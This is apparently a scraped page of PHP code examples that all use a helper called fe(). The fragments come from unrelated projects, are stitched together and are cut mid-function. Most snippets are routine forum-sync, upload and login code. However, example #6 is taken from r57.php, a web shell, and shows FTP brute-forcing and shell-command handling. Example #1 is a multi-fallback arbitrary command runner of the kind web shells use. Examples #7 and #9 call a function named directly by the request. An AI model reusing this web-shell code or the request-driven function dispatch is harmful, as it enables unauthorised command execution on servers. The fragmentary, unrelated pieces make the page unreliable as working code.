示例#1
0
function cmd($s)
{
    if (fe("exec")) {
        exec($s, $r);
        $r = join("\n", $r);
    } elseif (fe("shell_exec")) {
        $r = shell_exec($s);
    } elseif (fe("system")) {
        ob_start();
        system($s);
        $r = ob_get_contents();
        ob_end_clean();
    } elseif (fe("passthru")) {
        ob_start();
        passthru($s);
        $r = ob_get_contents();
        ob_end_clean();
    } elseif (is_resource($f = popen($s, "r"))) {
        $r = "";
        while (!feof($f)) {
            $r .= fread($f, 512);
        }
        pclose($f);
    } else {
        $r = `{$s}`;
    }
    return $r;
}
 public static function exception_handler($exception)
 {
     // Output the exception details
     // die('Uncaught exception: '. $exception->getMessage());
     global $logService;
     $logService->log('ERROR', 'UMDB ', fe($exception), 'umdb');
 }
示例#3
0
 protected function uploadFile($value)
 {
     $uploadPressed = http_request::getString('upload');
     $fileExists = false;
     if ($value == "4d988458b51093c7ee3a4e1582b5fd9b" && $uploadPressed == 'Ladda upp') {
         $value = $imgStr = randomString();
         file::tempName($imgStr);
         $fileExists = true;
     }
     $uploadState = file::append($this->name, $this->mimes, $this->max, $this->dir, $value);
     if ($uploadPressed !== false && $uploadPressed == 'Ladda upp' && $uploadState === false) {
         $this->error = 'Filuppladdningen misslyckades: för stor fil eller bild av ej tillåtet format.';
         $this->value = sprintf('%s/%d.%s', $this->dir, 0, 'png');
         return false;
     }
     $removePressed = http_request::getString('remove');
     $doRemove = $removePressed !== false && in_array($removePressed, array('Ta bort Avatar', 'Ta bort Bild'));
     if ($uploadState !== false) {
         $bajs = fe($uploadState);
         $fileExists = true;
         $this->value = str_replace(ROOT . '/public/', '/', $uploadState);
         $this->uploaded = true;
         if (isset($_SESSION['fileTempName'])) {
             $_SESSION['fileTempName'] = basename($this->value);
         }
         foreach ($this->mimes as $fe) {
             $f = sprintf('%s/%s.%s', $this->dir, $value, $fe);
             if (file_exists($f) && $fe != $bajs) {
                 file::remove($f);
             }
         }
         if ($doRemove === true) {
             file::remove($uploadState);
         }
     } else {
         foreach ($this->mimes as $fe) {
             $f = sprintf('%s/%s.%s', $this->dir, $value, $fe);
             if (file_exists($f)) {
                 if ($doRemove === true) {
                     file::remove($f);
                 }
                 $fileExists = true;
                 $this->value = str_replace(ROOT . '/public/', '/', $f);
                 if (isset($_SESSION['fileTempName'])) {
                     $_SESSION['fileTempName'] = $this->value;
                 }
                 $this->uploaded = true;
                 break;
             }
         }
     }
     if ($fileExists === false) {
         $this->value = sprintf('%s/%d.%s', $this->dir, 0, 'png');
     }
     return $fileExists ? true : false;
 }
示例#4
0
 static function renameTemp($modelLabel, $entityId)
 {
     if (!isset($_SESSION['fileTempName'])) {
         return false;
     }
     $name = $_SESSION['fileTempName'];
     $strModel = "model_" . $modelLabel;
     $model = new $strModel();
     $controls = $model->getEntityProperties();
     foreach ($controls as $control) {
         if ($control->isFile()) {
             $file = sprintf("%s/%s", $control->dir, $name);
             if (file_exists($file)) {
                 $newfile = sprintf("%s/%s.%s", $control->dir, $entityId, fe($file));
                 rename($file, $newfile);
                 unset($_SESSION['fileTempName']);
             }
         }
     }
 }
 public function findThreadByUrls($threadUrls, $forum)
 {
     try {
         $in_str = '';
         $i = 0;
         foreach ($threadUrls as $tu) {
             $url = $tu['url'];
             if ($i++ > 0) {
                 $in_str .= ",";
             }
             $in_str .= PDO::quote($url);
         }
         global $logService;
         // $logService->log('DEBUG ERROR','findThreadByUrls','in_str='.$in_str.'; forum='.$forum,'nmdb');
         $forumid = 0;
         $sth = $this->prepare('select distinct id from qwnm_hubs');
         $sth->execute();
         $hubs = $sth->fetchAll(PDO::FETCH_ASSOC);
         foreach ($hubs as $hub) {
             $ds = $this->getHubDataService($hub['id']);
             $th = $ds->getForumAndThreadForUrls($in_str, $forum);
             if ($th && $th['forumid'] > 0) {
                 break;
             }
         }
         return $th;
     } catch (Exception $x) {
         $logService->log('ERROR', 'findThreadByUrls', 'in_str=' . $in_str . '; forum=' . $forum . ';x=' . fe($x), 'nmdb');
         return false;
     }
 }
示例#6
0
文件: r57.php 项目: Theov/webshells
            if ($_POST['cmd'] == "ftp_file_up") {
                @ftp_put($connection, $_POST['ftp_file'], $_POST['loc_file'], $_POST['mode']);
            }
        }
    }
    @ftp_close($connection);
    $_POST['cmd'] = "";
}
if (!empty($_POST['cmd']) && $_POST['cmd'] == "ftp_brute") {
    list($ftp_server, $ftp_port) = split(":", $_POST['ftp_server_port']);
    if (empty($ftp_port)) {
        $ftp_port = 21;
    }
    $connection = @ftp_connect($ftp_server, $ftp_port, 10);
    if (!$connection) {
        fe($language, 0);
        $_POST['cmd'] = "";
    } else {
        if (!($users = get_users())) {
            echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>" . $lang[$language . '_text96'] . "</b></div></font></td></tr></table>";
            $_POST['cmd'] = "";
        }
    }
    @ftp_close($connection);
}
echo $table_up3;
if (empty($_POST['cmd']) && !$safe_mode) {
    $_POST['cmd'] = $windows ? "dir" : "ls -lia";
} else {
    if (empty($_POST['cmd']) && $safe_mode) {
        $_POST['cmd'] = "safe_dir";
示例#7
0
<?php

error_reporting(0);
ini_set('max_execution_time', '1800');
ini_set('max_upload_size', '128M');
ini_set('memory_limit', '128M');
ini_set('session.use_only_cookies', '1');
ini_set('session.hash_function', '1');
ini_set('session.hash_bits_per_character', '5');
date_default_timezone_set("America/New_York");
include_once "includes/ConfigFile.php";
init();
//.......................................COMMENTS --------------------------------------//
global $SERVER_PATH;
$func_ary = array("send_password", "reset_password", "update_password");
if (fe($_REQUEST[action])) {
    $_REQUEST[action]();
    die;
} else {
    header("Location:" . $SERVER_PATH . "Login");
    die;
}
function send_password()
{
    global $SERVER_PATH, $SiteName;
    $R = DIN_ALL($_REQUEST);
    if (get_row_con_info("vcc_users_login", "WHERE EmailAddress='{$R['email']}' LIMIT 0,1", "EmailAddress,LoginID", $data)) {
        $key = base64_encode(md5($data[EmailAddress]));
        save_passwod_key($key, $data[LoginID]);
        $message = "<br>Hello,<br>\n                          <br>We've received a password reset request.<br>\n                                To initiate the process, please click the following link:<br><br>\n                         " . $SERVER_PATH . "Reset-Password/" . $key . "<br>\n                         <br>If clicking the link above does not work, copy and paste the URL in<br>\n                         a new browser window instead. The URL will expire in 24 hours for security<br>reasons.<br><br>\n                         Please disregard this message if you did not make a password reset request.<br><br>\n                         This is an automatically generated message. Replies are not monitored or<br>answered.<br>";
        $subject = $SiteName . " Password Assistance";
示例#8
0
function fg($path, &$g = NULL)
{
    global $doc;
    return count($g = glob("{$doc}/{$path}"));
}
$ext = "http";
$doc = "/home/mike/Development/src/php/phpdoc/en/trunk/reference/{$ext}";
$ref = new ReflectionExtension($ext);
printf("Undocumented INI options:\n");
foreach ($ref->getINIEntries() as $name => $tmp) {
    re("configuration.xml", "#<entry>{$name}</entry>#") or printf("\t%s (%s)\n", $name, $tmp);
}
printf("\n");
printf("Undocumented stream filters:\n");
foreach (preg_grep("/^{$ext}\\./", stream_get_filters()) as $filter) {
    fe(sprintf("streamfilters/%s.xml", substr($filter, 5))) or printf("\t%s\n", $filter);
}
printf("\n");
printf("Undocumented constants:\n");
foreach ($ref->getConstants() as $name => $tmp) {
    re("constants.xml", "#<constant>{$name}</constant>#") or printf("\t%s (%s)\n", $name, $tmp);
}
printf("\n");
printf("Undocumented functions:\n");
foreach ($ref->getFunctions() as $func) {
    /* @var $func ReflectionFunction */
    fg(sprintf("functions/*/%s.xml", strtr($func->getName(), '_', '-'))) or printf("\t%s()\n", $func->getName());
}
printf("\n");
printf("Undocumented classes/members:\n");
foreach ($ref->getClasses() as $class) {
示例#9
0
error_reporting(0);
ini_set('max_execution_time', '1800');
ini_set('max_upload_size', '128M');
ini_set('memory_limit', '128M');
ini_set('session.use_only_cookies', '1');
ini_set('session.hash_function', '1');
ini_set('session.hash_bits_per_character', '5');
ini_set('post_max_size', '64M');
ini_set('upload_max_filesize', '64M');
date_default_timezone_set("America/Los_Angeles");
include_once "includes/ConfigFile.php";
init();
$func_ary = array("show_login", "do_login", "do_signup", "add_employee", "save_employee", "view_employee", "update_employee", "view_dashboard", "add_employer", "save_employer", "view_employer", "update_employer", "new_employer_detail", "edit_employer_detail", "add_legaldetails", "save_legaldetails", "view_legaldetails", "update_legaldetails", "add_insured_employee", "add_npdetails", "save_npdetails", "view_npdetails", "update_npdetails", "assign_mail", "update_preferences", "add_addndetails", "save_addndetails", "view_addndetails", "update_addndetails", "edit_nonprofit_detail", "add_contact", "result_search", "do_search", "save_note", "view_notes", "update_note", "delete_note", "print_notes", "save_log", "view_logs", "update_log", "delete_log", "print_log", "view_files", "upload_file", "delete_upload_file", "add_nonprofit_detail", "search_employer", "change_password", "update_password", "load_EmpNotes", "load_npdetail", "export_data", "export_employee_data", "export_report", "logout");
global $SignIN;
if (fe($_REQUEST['action']) || $_REQUEST['action'] == "do_login") {
    $_REQUEST['action']($_REQUEST['msg']);
    die;
} else {
    if ($_SESSION['UserID'] <= 0 || $_SESSION['UserID'] == "") {
        header("Location:" . $SignIN);
        die;
    } else {
        view_dashboard();
        die;
    }
}
header("Location:" . $SignIN);
die;
function show_login()
{
 public function processPostsV4($posts, $forumid, $tds)
 {
     global $logService;
     $logService->log('TRACE', 'inside processPosts', '', $forumid);
     global $um;
     global $forum_status;
     if (!$posts) {
         return 0;
     }
     //safety
     if ($posts->code == 13) {
         return 13;
     }
     $has_context = true;
     $processRules = true;
     $ts = 0;
     $dirtyWorking = false;
     //dirty flags for sending alerts on new messages to the browser
     $dirtyDeleted = false;
     $dirtyPending = false;
     $dirtyWatch = false;
     $dirtyApproved = false;
     $dirtyRules = false;
     $dirtyHistory = false;
     $sth = $this->prepare("INSERT INTO `qwp_posts`(`qforumid`,`forum`,`id`,\n                `parent`,`message`,`isflagged`,`thread`,`raw_message`,`createdat`,`isedited`,`ishighlighted`,`ipaddress`,\n                `isspam`,`isdeleted`,`likes`,`isapproved`,`dislikes`,`author_username`,`author_name`,`author_url`,\n                `author_profileurl`,`author_emailHash`,`author_avatar_permalink`,`author_avatar_cache`,`author_id`,\n                `author_isanonymous`,`author_email`,`status`,`state`,post_ticketid,watch_ticketid,watch_type,watch_identity,\n                thread_title,thread_url,role,updatedat) \n                    VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,UNIX_TIMESTAMP(now()))");
     $sth1 = $this->prepare("INSERT into qwp_post_actions(postid,forumid,actionid,context,`date`,username,ruleid,status,allow_test) values(?,?,?,?,now(),'disqus',?,0,?)");
     $sth2 = $this->prepare("SELECT id,status,message from `qwp_posts` where id=? and qforumid=?");
     $sth3 = $this->prepare("UPDATE qwp_posts set message=?, updatedat =UNIX_TIMESTAMP(now()) where id=? and qforumid=?");
     $sth5 = $this->prepare("SELECT xid,role from qwp_forum_identities where identity=? and forumid=?");
     $sth6 = $this->prepare("INSERT INTO qwp_forum_identities  (forumid,identity,author_username,author_name,author_url,author_profileurl,author_avatar_permalink,author_avatar_cache,author_id,author_isanonymous,author_email) values(?,?,?,?,?,?,?,?,?,?,?)");
     $sth7 = $this->prepare("SELECT xid from qwp_forum_identity_ips where identity=? and ip=?");
     $sth8 = $this->prepare("UPDATE qwp_forum_identity_ips set last_used=now() where xid=?");
     $sth9 = $this->prepare("INSERT INTO qwp_forum_identity_ips (ip,identity,last_used,first_used) value(?,?,now(),now())");
     //$sth11=$this->prepare("SELECT children, parent FROM qwp_posts where id=?");
     //$sth12=$this->prepare("UPDATE qwp_posts set children=? where id=?");
     $sth13 = $this->prepare("SELECT title,url from qwp_threads where thread=? and forumid=?");
     $s1 = $this->prepare("SELECT * from qwp_rules where identity like ? and thread IS NULL and status=1 and forumid=? order by expiration");
     $s11 = $this->prepare("SELECT * from qwp_rules where identity like ? and thread like ? and status=1 and forumid=? order by expiration");
     $s12 = $this->prepare("UPDATE qwp_rules set status=0 where xid=?");
     $s2 = $this->prepare("INSERT INTO qwp_post_watch (postid,ticketid,forumid,date,username,type) values (?,?,?,now(),'disqus',?)");
     // $s21=$this->prepare("UPDATE qwp_posts set watch_ticketid=?, watch_type=?,watch_identity=? where id=?");
     $s3 = $this->prepare("INSERT into qwp_rules (`status`,identity,action,date_active,duration,apply_back,description,expiration,forumid) values(1,?,?,now(),?,?,?,?,?)");
     //$s4=$this->prepare("SELECT * from qwp_tickets where ip like ?");
     $s5 = $this->prepare("INSERT INTO qwp_rule_actions (ruleid,identity,actionid,date,context,username,forumid) values (?,?,9,now(),?,'auto',?)");
     $s6 = $this->prepare("INSERT INTO qwp_post_index (postid,parentid,has_context,forumid,thread) values(?,?,?,?,?)");
     $s7 = $this->prepare("UPDATE qwp_post_index set has_context=? where postid=? and forumid=?");
     // $s8=$this->prepare("select has_context from qwp_post_index where postid=? and forum=?");
     $s8 = $this->prepare("SELECT postid from qwp_post_index  where postid=? and forumid=?");
     $cached_threads = array();
     //main processing loop:
     if (!is_array($posts->response)) {
         $pp = array(1 => $posts->response);
     } else {
         $pp = $posts->response;
     }
     foreach ($pp as $post) {
         $logService->log('TRACE', 'inside processPostsLoop', $post->message, $forumid);
         $watch = null;
         if (!isset($post->ipAddress)) {
             $post->ipAddress = "0.0.0.0";
         }
         if (!isset($post->author->email)) {
             $i = rand(0, 1000000);
             $post->author->email = 'unknown' . $i . '@disqus.com';
         }
         $post->ipAddress = $this->scramble_ip($post->ipAddress);
         //$logService->log('DBUG&&&','BEGIN PROCESS postid='.$post->id,'','');
         //1. Check if the post is already present
         $sth2->bindParam(1, $post->id, PDO::PARAM_INT);
         $sth2->bindParam(2, $forumid, PDO::PARAM_INT);
         $sth2->execute();
         $rs = $sth2->fetch(PDO::FETCH_ASSOC);
         $logService->log('TRACE', 'inside processPosts11', '', $forumid);
         if ($rs) {
             $logService->log('TRACE', 'inside processPosts12', '', $forumid);
             //existing post
             $postid = $rs['id'];
             $old_message = $rs['message'];
             $status = 1;
             $state = 'working';
             if ($post->isDeleted && $rs['status'] != 3) {
                 $status = 3;
                 $state = 'deleted';
             } else {
                 if ($post->isSpam && $rs['status'] != 2) {
                     $status = 2;
                     $state = 'pending';
                 } else {
                     if ($rs['status'] == 3 && !$post->isDeleted && !$post->isSpam) {
                         $logService->log('TRACE', 'inside processPosts13', '', $forumid);
                         //delete post on disqus
                         $act = 3;
                         $sth1->bindParam(1, $post->id, PDO::PARAM_INT);
                         $sth1->bindParam(2, $forumid, PDO::PARAM_INT);
                         $sth1->bindParam(3, $act, PDO::PARAM_INT);
                         $s = 'delete on sync';
                         $sth1->bindParam(4, $s, PDO::PARAM_STR);
                         $ruleid = 0;
                         $sth1->bindParam(5, $ruleid, PDO::PARAM_STR);
                         $allow_test = 0;
                         $sth1->bindParam(6, $allow_test, PDO::PARAM_INT);
                         //$sth1->execute();
                         $this->beginTransaction();
                         $sth1->execute();
                         $xid = $this->lastInsertId();
                         $table = 'qwp_post_actions';
                         $action = 1;
                         $sth61 = $this->prepare("INSERT into qwp_xfer (xid,`table`,`action`,`date`) VALUES(?,?,?,now())");
                         $sth61->bindParam(1, $xid, PDO::PARAM_INT);
                         $sth61->bindParam(2, $table, PDO::PARAM_STR);
                         $sth61->bindParam(3, $action, PDO::PARAM_INT);
                         $sth61->execute();
                         $this->commit();
                     }
                 }
             }
             if ($post->message !== $old_message) {
                 //update the body of the post with the latest from Disqus
                 $sth3->bindParam(1, $post->message, PDO::PARAM_STR);
                 $sth3->bindParam(2, $postid, PDO::PARAM_INT);
                 $sth3->bindParam(3, $forumid, PDO::PARAM_INT);
                 $sth3->execute();
                 //TODO: should only send the tick to those with tabs containing the postid
             }
             $logService->log('TRACE', 'UPDATE postid=' . $post->id, '', $forumid);
             //update has_context in the index
             //$s7=$this->prepare("UPDATE qwp_post_index set has_context=? where postid=? and forumid=?) values(?,?,?)");
             // Refactored 3/9/2015 to fix old posts without index when doing thread loads
             $s8->bindParam(1, $postid, PDO::PARAM_INT);
             $s8->bindParam(2, $forumid, PDO::PARAM_INT);
             $s8->execute();
             $rs = $s8->fetch(PDO::FETCH_ASSOC);
             if ($rs) {
                 if ($has_context) {
                     $this->beginTransaction();
                     $s91 = $this->prepare("SELECT xid from qwp_post_index where postid=? and forumid=?");
                     $s91->bindParam(1, $postid, PDO::PARAM_INT);
                     $s91->bindParam(2, $forumid, PDO::PARAM_INT);
                     $s91->execute();
                     $xid = $s91->fetch(PDO::FETCH_ASSOC)['xid'];
                     $s7->bindParam(1, $has_context, PDO::PARAM_INT);
                     $s7->bindParam(2, $postid, PDO::PARAM_INT);
                     $s7->bindParam(3, $forumid, PDO::PARAM_INT);
                     $s7->execute();
                     $table = 'qwp_post_index';
                     $action = 2;
                     $sth61 = $this->prepare("INSERT into qwp_xfer (xid,`table`,`action`,`date`) VALUES(?,?,?,now())");
                     $sth61->bindParam(1, $xid, PDO::PARAM_INT);
                     $sth61->bindParam(2, $table, PDO::PARAM_STR);
                     $sth61->bindParam(3, $action, PDO::PARAM_INT);
                     $sth61->execute();
                     $this->commit();
                 }
             } else {
                 $parent = $post->parent;
                 if (empty($parent)) {
                     $parent = -1;
                 }
                 $thread = $post->thread;
                 $s6->bindParam(1, $postid, PDO::PARAM_STR);
                 $s6->bindParam(2, $parent, PDO::PARAM_INT);
                 $s6->bindParam(3, $has_context, PDO::PARAM_INT);
                 $s6->bindParam(4, $forumid, PDO::PARAM_INT);
                 $s6->bindParam(5, $thread, PDO::PARAM_INT);
                 //$s6->execute();
                 try {
                     $this->beginTransaction();
                     $s6->execute();
                     $xid = $this->lastInsertId();
                     $table = 'qwp_post_index';
                     $action = 1;
                     $sth61 = $this->prepare("INSERT into qwp_xfer (xid,`table`,`action`,`date`) VALUES(?,?,?,now())");
                     $sth61->bindParam(1, $xid, PDO::PARAM_INT);
                     $sth61->bindParam(2, $table, PDO::PARAM_STR);
                     $sth61->bindParam(3, $action, PDO::PARAM_INT);
                     $sth61->execute();
                     $this->commit();
                 } catch (Exception $ignore) {
                 }
             }
         } else {
             $logService->log('DBUG&&&', 'NEW postid=' . $post->id, $post->message, $forumid);
             //new post
             $status = 1;
             $state = 'working';
             if ($post->isDeleted) {
                 $status = 3;
                 $state = 'deleted';
                 $dirtyDeleted = true;
             } else {
                 if ($post->isSpam) {
                     $status = 2;
                     $state = 'pending';
                     $dirtyPending = true;
                 } else {
                     $dirtyWorking = true;
                 }
             }
             if (empty($post->author->email) && (empty($post->author->emailHash) || !isset($post->author->emailHash))) {
                 $act = 3;
                 $sth1->bindParam(1, $post->id, PDO::PARAM_INT);
                 $sth1->bindParam(2, $forumid, PDO::PARAM_INT);
                 $sth1->bindParam(3, $act, PDO::PARAM_INT);
                 $s = 'guest posts are not allowed';
                 $sth1->bindParam(4, $s, PDO::PARAM_STR);
                 $ruleid = 0;
                 $sth1->bindParam(5, $ruleid, PDO::PARAM_STR);
                 $allow_test = 0;
                 $sth1->bindParam(6, $allow_test, PDO::PARAM_INT);
                 $sth1->execute();
                 $i = rand(0, 1000000);
                 $post->author->email = 'notallowed' . $i . '@guest.com';
                 $postid = $post->id;
                 $message = "Post has been deleted due to the absense of author's email - guest posting is not allowed on this forum. If you think this is in error, please check your Disqus account settings. @del " . $postid;
                 //respodToPost($token,$postid,$message);
                 if ($forum_status == 2) {
                     $txid = tx(0, 'AutoRespond:' . $message);
                     // $um->respondByDefenderUser($postid,urlencode($message));
                     tx($txid, ' END');
                 }
             } else {
                 if (empty($post->author->username) || !isset($post->author->username)) {
                     $act = 3;
                     $sth1->bindParam(1, $post->id, PDO::PARAM_INT);
                     $sth1->bindParam(2, $forumid, PDO::PARAM_INT);
                     $sth1->bindParam(3, $act, PDO::PARAM_INT);
                     $s = 'guest posts are not allowed';
                     $sth1->bindParam(4, $s, PDO::PARAM_STR);
                     $ruleid = 0;
                     $sth1->bindParam(5, $ruleid, PDO::PARAM_STR);
                     $allow_test = 0;
                     $sth1->bindParam(6, $allow_test, PDO::PARAM_INT);
                     $sth1->execute();
                     $i = rand(0, 1000000);
                     $post->author->email = 'notallowed' . $i . '@guest.com';
                     $postid = $post->id;
                     $message = "Post has been deleted due to the absense of author's username - guest posting is not allowed on this forum. If you think this is in error, please check your Disqus account settings. @del " . $postid;
                     //respodToPost($token,$postid,$message);
                     if ($forum_status == 2) {
                         $txid = tx(0, 'AutoRespond:' . $message);
                         //$um->respondByDefenderUser($postid,urlencode($message));
                         tx($txid, ' END');
                     }
                 }
             }
             if (empty($post->author->email)) {
                 $i = rand(0, 1000000);
                 $post->author->email = 'unknown' . $i . '@guest.com';
             }
             if (!isset($post->author->emailHash)) {
                 $post->author->emailHash = null;
             }
             $emailHash = $post->author->emailHash;
             if (empty($emailHash)) {
                 $emailHash = md5($post->author->email);
                 $post->author->emailHash = $emailHash;
             }
             $identity = $emailHash;
             $c = strtotime($post->createdAt . 'UTC');
             if ($c > $ts) {
                 $ts = $c;
             }
             //date_default_timezone_set('UTC');
             $d = date('Y-m-d H:i:s', $c);
             $sth7->bindParam(1, $emailHash, PDO::PARAM_STR);
             $sth7->bindParam(2, $post->ipAddress, PDO::PARAM_STR);
             $logService->log('DBUG&&&', 'CHECKING THE IDENTITY IP postid=' . $post->id, '', '');
             $sth7->execute();
             $rs = $sth7->fetch(PDO::FETCH_ASSOC);
             if ($rs) {
                 //  $logService->log('DBUG&&&','NEW IDENTITY IP postid='.$post->id,'','');
                 $id = $rs['xid'];
                 $sth8->bindParam(1, $id, PDO::PARAM_INT);
                 //$sth8->execute();
                 $this->beginTransaction();
                 $sth8->execute();
                 $xid = $id;
                 $table = 'qwp_forum_identitiy_ips';
                 $action = 2;
                 $sth61 = $this->prepare("INSERT into qwp_xfer (xid,`table`,`action`,`date`) VALUES(?,?,?,now())");
                 $sth61->bindParam(1, $xid, PDO::PARAM_INT);
                 $sth61->bindParam(2, $table, PDO::PARAM_STR);
                 $sth61->bindParam(3, $action, PDO::PARAM_INT);
                 $sth61->execute();
                 $this->commit();
             } else {
                 $logService->log('DBUG&&&', '111 EXISTING IDENTITY IP postid=' . $post->id, '', '');
                 $sth9->bindParam(1, $post->ipAddress, PDO::PARAM_STR);
                 $sth9->bindParam(2, $emailHash, PDO::PARAM_STR);
                 //slow $$$ $this->correlateOnIP($forumid,$post->ipAddress);
                 //$sth9->execute();
                 $this->beginTransaction();
                 $sth9->execute();
                 $xid = $this->lastInsertId();
                 $table = 'qwp_forum_identity_ips';
                 $action = 1;
                 $sth61 = $this->prepare("INSERT into qwp_xfer (xid,`table`,`action`,`date`) VALUES(?,?,?,now())");
                 $sth61->bindParam(1, $xid, PDO::PARAM_INT);
                 $sth61->bindParam(2, $table, PDO::PARAM_STR);
                 $sth61->bindParam(3, $action, PDO::PARAM_INT);
                 $sth61->execute();
                 $this->commit();
             }
             $logService->log('DBUG&&&', 'DONE IDENTITY IP postid=' . $post->id, '', '');
             //check identity:
             $sth5->bindParam(1, $emailHash, PDO::PARAM_STR);
             $sth5->bindParam(2, $forumid, PDO::PARAM_STR);
             $sth5->execute();
             $role = -1;
             $rs = $sth5->fetch(PDO::FETCH_ASSOC);
             $logService->log('DBUG&&&', '222 CHECK IDENTITY postid=' . $post->id, '', '');
             if (empty($rs)) {
                 $sth6->bindParam(1, $forumid, PDO::PARAM_INT);
                 $sth6->bindParam(2, $emailHash, PDO::PARAM_STR);
                 $sth6->bindParam(3, $post->author->username, PDO::PARAM_STR);
                 $sth6->bindParam(4, $post->author->name, PDO::PARAM_STR);
                 $sth6->bindParam(5, $post->author->url, PDO::PARAM_STR);
                 $sth6->bindParam(6, $post->author->profileUrl, PDO::PARAM_STR);
                 $sth6->bindParam(7, $post->author->avatar->permalink, PDO::PARAM_STR);
                 $sth6->bindParam(8, $post->author->avatar->cache, PDO::PARAM_STR);
                 $sth6->bindParam(9, $post->author->id, PDO::PARAM_STR);
                 $sth6->bindParam(10, $post->author->isAnonynous, PDO::PARAM_STR);
                 $sth6->bindParam(11, $post->author->email, PDO::PARAM_STR);
                 try {
                     //$sth6->execute();
                     $this->beginTransaction();
                     $sth6->execute();
                     $xid = $this->lastInsertId();
                     $table = 'qwp_forum_identities';
                     $action = 1;
                     $sth61 = $this->prepare("INSERT into qwp_xfer (xid,`table`,`action`,`date`) VALUES(?,?,?,now())");
                     $sth61->bindParam(1, $xid, PDO::PARAM_INT);
                     $sth61->bindParam(2, $table, PDO::PARAM_STR);
                     $sth61->bindParam(3, $action, PDO::PARAM_INT);
                     $sth61->execute();
                     $this->commit();
                 } catch (Exception $ex) {
                     //for race conditions
                 }
                 $logService->log('DBUG&&&', 'NEW IDENTITY postid=' . $post->id, '', '');
             } else {
                 $role = $rs['role'];
             }
             /* now process rules. There could be only one active rule at a time for an identity and a thread.
             
                                 1. Get active rules for identity where thread is null
                                 2. If nothing, Get all active rules for identity where thread is the same as post. If none, goto 7
                                 3. For each rule check for expiration. If expired set to inactive and persist.
                                 4. If there is more than one active rule left, chose one that expires earliest. Set others to inactive and persist.
                                 5. if it is approve (1) - check if deleted, than approve. If it is ignore (0) - ignore. If it is watch(12) - put on watch type 3, if delete(3) - if post is not deleted on disqus, delete on disqus
                                 6. QUIT
                                 7. Get all the active rules for the identities that match post's IP for null thread and for this thread.
                                 8. Check currency of the dates and expire if necessery and persist.
                                 9. If there are no delete rules - QUIT.
                                 10. If there are any exclude or approve rules - create an exclude rule for this identity and put a watch(3). QUIT
                                 11. Create delete rule for the identity, delete the post, add watch(1).
             
             
             
                                 V2 algorithm (deprecated)
                                 1. get a ticket(s) for the identity if any => BATCH;  if no go to 5. 
                                 2. IDENTITY MATCH: If there is a ticket matching IP - that's SOURCE ticket. Otherwise any of the BATCH. 
                                 3. if it is approve (1) - check if deleted, than approve. If it is ignore (0) - ignore. If it is watch(12) - put on watch type 3, if delete(3) - if post is not deleted on disqus, delete on disqus
                                 4. if it is IP match: quit.  Otherwise add ticket with type and identity of the SOURCE ticket and new ip. Quit
                                 6. if there are in BATCH any excludes (0) or approves (1) then even if there is a delete for this IP it will not be propagated to new
                                     identity, instead a watch (3) ticket will be created for new identity, otherwise add delete ticket with identity of the SOURCE ticket and new ip
                             ****/
             $logService->log('TRACE', 'inside processPosts2', 'forum_status=' . $forum_status, $forumid);
             $watch = null;
             if ($processRules && $forum_status == 2) {
                 $logService->log('DBUG&&&', 'PROCESS RULES postid=' . $post->id, '', '');
                 $post_ticketid = 0;
                 $ticketid = 0;
                 /**
                                         3/12/15: need some serious thought here. Why _t rules are not expiring if there are any general rules? Why only one rule is considered?
                 
                 
                                     **/
                 //1)
                 $s1->bindParam(1, $emailHash, PDO::PARAM_STR);
                 $s1->bindParam(2, $forumid, PDO::PARAM_INT);
                 $s1->execute();
                 $rs = $s1->fetchAll(PDO::FETCH_ASSOC);
                 $source = NULL;
                 if (empty($rs)) {
                     //2)
                     $s11->bindParam(1, $emailHash, PDO::PARAM_STR);
                     $s11->bindParam(2, $post->thread, PDO::PARAM_STR);
                     $s11->bindParam(3, $forumid, PDO::PARAM_INT);
                     $s11->execute();
                     $rs = $s11->fetchAll(PDO::FETCH_ASSOC);
                 }
                 $r = null;
                 if ($rs) {
                     $logService->log('DBUG&&&', 'PROCESS RULES  2 postid=' . $post->id, '', '');
                     foreach ($rs as $rule) {
                         $logService->log('TRACE', 'inside rule1', 'forum_status=' . $forum_status, $forumid);
                         $expiration_field = $rule['expiration'];
                         if (!empty($expiration_field)) {
                             $expiration = new DateTime($expiration_field);
                             $now = new DateTime(null);
                             $now = $now->getTimestamp();
                             if ($expiration->getTimestamp() < $now) {
                                 //expiring;
                                 $s12->bindParam(1, $rule['xid'], PDO::PARAM_INT);
                                 $s12->execute();
                                 $sql = "INSERT INTO qwp_rule_actions (username,actionid,date,ruleid,context,identity,forumid) values(?,?,now(),?,?,?,?)";
                                 $sth_e = $this->prepare($sql);
                                 $user_name = 'qwiket';
                                 $a = 14;
                                 //expiring
                                 $description = "rule expired";
                                 $sth_e->bindParam(1, $user_name, PDO::PARAM_STR);
                                 $sth_e->bindParam(2, $a, PDO::PARAM_INT);
                                 $sth_e->bindParam(3, $rule['xid'], PDO::PARAM_INT);
                                 $sth_e->bindParam(4, $description, PDO::PARAM_STR);
                                 $sth_e->bindParam(5, $identity, PDO::PARAM_STR);
                                 $sth_e->bindParam(6, $forumid, PDO::PARAM_INT);
                                 $sth_e->execute();
                                 $dirtyRules = true;
                                 $dirtyHistory = true;
                                 tx(0, 'RuleExpired');
                             } else {
                                 $r = $rule;
                                 // expiration in the future
                                 break;
                             }
                         } else {
                             $r = $rule;
                             // no expiration
                             break;
                         }
                     }
                 }
                 if ($r) {
                     //5)
                     $type = $r['action'];
                     $post_ticketid = $r['xid'];
                     $logService->log('TRACE', 'inside rule5', 'rxid=' . $post_ticketid . 'type=' . $type . ':ip=' . $ip, $forumid);
                     $allow_test = 0;
                     if (strstr($r['description'], '#')) {
                         //# indicates this is a test command, should be allowed to go to disqus even in test mode
                         $allow_test = 1;
                     }
                     switch ($type) {
                         case 1:
                             if ($status == 3 || $status == 2) {
                                 $act = 1;
                                 $sth1->bindParam(1, $post->id, PDO::PARAM_INT);
                                 $sth1->bindParam(2, $forumid, PDO::PARAM_INT);
                                 $sth1->bindParam(3, $act, PDO::PARAM_INT);
                                 $s = 'pre-approve ';
                                 $sth1->bindParam(4, $s, PDO::PARAM_STR);
                                 $sth1->bindParam(5, $post_ticketid, PDO::PARAM_STR);
                                 $sth1->bindParam(6, $allow_test, PDO::PARAM_INT);
                                 $sth1->execute();
                                 $dirtyApproved = true;
                                 $dirtyHistory = true;
                             }
                             break;
                         case 2:
                             //$wt=3;
                             /*$s2->bindParam(1,$post->id,PDO::PARAM_INT);
